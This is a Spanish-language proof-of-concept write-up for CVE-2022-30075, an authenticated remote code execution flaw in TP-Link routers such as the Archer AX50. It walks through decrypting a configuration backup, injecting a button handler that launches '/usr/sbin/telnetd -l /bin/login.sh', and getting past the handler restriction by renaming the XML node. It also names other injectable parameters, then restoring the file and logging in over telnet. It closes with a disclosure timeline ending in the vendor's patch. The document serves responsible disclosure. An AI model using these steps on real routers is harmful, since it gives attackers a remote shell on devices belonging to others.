CVE-2022-30075

Ejecución remota de código autenticada en routers Tp-Link

Dispositivos afectados

Si tu router Tp-Link tiene funcionalidad de copia de seguridad y restauración y el firmware es anterior a junio de 2022, probablemente sea vulnerable.

Probado con

Tp-Link Archer AX50, otros routers Tp-Link pueden usar un formato diferente de copias de seguridad y el exploit debe modificarse.

PoC

Uso del exploit para iniciar el daemon telnet en el router

Explotación manual

1. inicia sesión en la interfaz web del router
2. ve a avanzado -> sistema -> configuración de copia de seguridad
3. descifra y descomprime el archivo de copia de seguridad

• si tu router usa un formato diferente de archivos de copia de seguridad, puedes modificar el código del exploit (clase BackupParser) o simplemente usar alguna herramienta de github: https://github.com/stdnoerr/tp_link_credentials_harvester/blob/master/decrypt.py https://github.com/ret5et/tplink_backup_decrypt_2022.bin ...

4. en el archivo xml descifrado puedes encontrar algo como esto:

<button name="led_switch">
  <action>pressed</action>
  <button>ledswitch</button>
  <handler>/lib/led_switch</handler>
</button>

• reemplázalo con estas líneas

<button name="exploit">
  <action>pressed</action>
  <button>ledswitch</button>
  <handler>/usr/sbin/telnetd -l /bin/login.sh</handler>
</button>

• hay una restricción que bloquea la modificación del parámetro system.button.handler, pero se puede omitir fácilmente cambiando el nombre del nodo xml padre (p. ej. name="exploit")
• la ejecución de código no solo se puede lograr cambiando el parámetro system.button.handler, sino también usando ddns.service.ip_script, firewall.include.path, uhttpd.main, y otros...

5. comprime y cifra el archivo de copia de seguridad modificado
6. ve a avanzado -> sistema -> configuración de restauración -> sube el archivo de copia de seguridad modificado
7. después de reiniciar, pulsa el botón led que activa la ejecución del comando inyectado /usr/sbin/telnetd -l /bin/login.sh
8. inicia sesión remotamente en el router: telnet 192.168.1.1

Cronología

15.03.2022 - Vulnerabilidad identificada 15.03.2022 - Se contactó con el soporte de Tp-Link 16.03.2022 - Se recibió respuesta de Tp-Link 02.05.2022 - Se asignó CVE 27.05.2022 - Tp-Link publicó firmware con la vulnerabilidad corregida 07.06.2022 - Se publicaron los detalles técnicos